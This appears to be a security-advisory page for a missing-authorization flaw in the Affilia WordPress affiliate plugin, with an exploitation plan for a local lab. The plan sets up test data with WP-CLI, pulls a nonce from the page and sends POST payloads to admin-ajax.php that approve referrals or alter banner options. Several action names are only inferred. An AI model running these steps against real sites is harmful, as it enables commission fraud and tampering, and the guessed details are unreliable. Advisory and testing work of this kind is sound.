Affilia <= 3.3.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Status Modification
Description
The Affilia – Affiliate Program & Referral Tracking for WordPress plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 3.3.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to approve or reject affiliate referrals, credit commissions to affiliate wallets, delete referral records, and modify custom banner plugin options, enabling financial fraud. The nonce required to pass the only authentication check is embedded in every frontend page load via rtwalwm_global_params.rtwalwm_nonce, making it trivially accessible to any authenticated user regardless of role.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.3.3What Changed in the Fix
Changes introduced in v3.3.4
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-7559 ## 1. Vulnerability Summary The **Affilia – Affiliate Program & Referral Tracking for WordPress** plugin (versions <= 3.3.3) contains multiple **Missing Authorization** vulnerabilities. While the plugin implements CSRF protection via nonces, it fails to …
Show full research plan
Exploitation Research Plan - CVE-2026-7559
1. Vulnerability Summary
The Affilia – Affiliate Program & Referral Tracking for WordPress plugin (versions <= 3.3.3) contains multiple Missing Authorization vulnerabilities. While the plugin implements CSRF protection via nonces, it fails to perform capability checks (e.g., current_user_can( 'manage_options' )) in its AJAX handlers. This allows any authenticated user (including those with the lowest-level Subscriber role) to execute administrative actions such as approving/rejecting referrals, deleting records, and modifying plugin settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Authentication: Required (Subscriber or higher)
- Vulnerable Actions (Inferred):
rtwalwm_approve_referralrtwalwm_reject_referralrtwalwm_delete_referralrtwalwm_credit_commission_to_walletrtwalwm_save_banner_options
- Payload Parameters:
action: The specific AJAX action (e.g.,rtwalwm_approve_referral).nonce: The value ofrtwalwm_global_params.rtwalwm_nonce.idorreferral_id: The ID of the record to modify.
3. Code Flow
- Registration: The plugin registers AJAX handlers using
add_action( 'wp_ajax_...', ... )(likely inincludes/rtwalwm-class-wp-wc-affiliate-program.phpor a dedicated AJAX handler file). - Nonce Verification: The handler calls
check_ajax_referer( 'rtwalwm-ajax-security-string', 'nonce' )orwp_verify_nonce( $_POST['nonce'], 'rtwalwm-ajax-security-string' ). - Missing Check: The handler omits any check for
current_user_can(). - Execution: The handler proceeds to update the database via
$wpdbor plugin-specific classes (e.g., changing a referral status frompendingtoapproved).
4. Nonce Acquisition Strategy
The nonce is generated in public/rtwalwm-class-wp-wc-affiliate-program-public.php and tied to the action string "rtwalwm-ajax-security-string". It is exposed to all authenticated users on pages where the plugin script is enqueued.
Strategy:
- Shortcode Identification: The plugin uses
[rtwwwap_affiliate_page]to render the affiliate dashboard. This shortcode triggers the loading ofrtwalwm-wp-wc-affiliate-program-public.js. - Page Creation: Use WP-CLI to create a page containing this shortcode.
wp post create --post_type=page --post_status=publish --post_title="Affiliate Dashboard" --post_content='[rtwwwap_affiliate_page]' - Browser Extraction: Navigate to the created page as a Subscriber and extract the nonce using
browser_eval.- Variable Name:
window.rtwalwm_global_params - Nonce Key:
rtwalwm_nonce - JS Command:
browser_eval("window.rtwalwm_global_params?.rtwalwm_nonce")
- Variable Name:
5. Exploitation Strategy
This PoC focuses on unauthorized referral approval.
Step 1: Pre-exploitation Discovery
Search the plugin code to confirm the exact AJAX action names.
grep -r "wp_ajax_rtwalwm_" /var/www/html/wp-content/plugins/affiliaa-affiliate-program-with-mlm/
Step 2: Extract Nonce
- Login to WordPress as a Subscriber.
- Navigate to the page with the
[rtwwwap_affiliate_page]shortcode. - Run:
browser_eval("window.rtwalwm_global_params.rtwalwm_nonce").
Step 3: Execute Unauthorized Action
Using the http_request tool, send a POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Replaceaction=rtwalwm_approve_referral&nonce=[EXTRACTED_NONCE]&referral_id=1rtwalwm_approve_referraland parameter names based on Step 1 results).
6. Test Data Setup
- Create a Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create a Pending Referral:
Manual entry via database or if the plugin allows, generate a referral record.# Example SQL (inferred table name) wp db query "INSERT INTO wp_rtwalwm_referrals (affiliate_id, status, amount) VALUES (1, 'pending', '10.00')" - Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_content='[rtwwwap_affiliate_page]'
7. Expected Results
- HTTP Response: The request should return a success message (often
1,{"success":true}, or{"status":"success"}). - State Change: The targeted referral record in the database should move from
pendingtoapproved.
8. Verification Steps
After sending the HTTP request, verify the change via WP-CLI:
# Check the status of the referral in the database
wp db query "SELECT status FROM wp_rtwalwm_referrals WHERE id = 1"
Expect the output to be approved (or the equivalent success status).
9. Alternative Approaches
If rtwalwm_approve_referral is not the exact name, target the banner options modification:
- Action (Inferred):
rtwalwm_save_banner_settings - Payload:
action=rtwalwm_save_banner_settings&nonce=[NONCE]&banner_options[some_key]=malicious_value
Confirm the modification by checking the options table:
wp option get rtwalwm_banner_settings
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.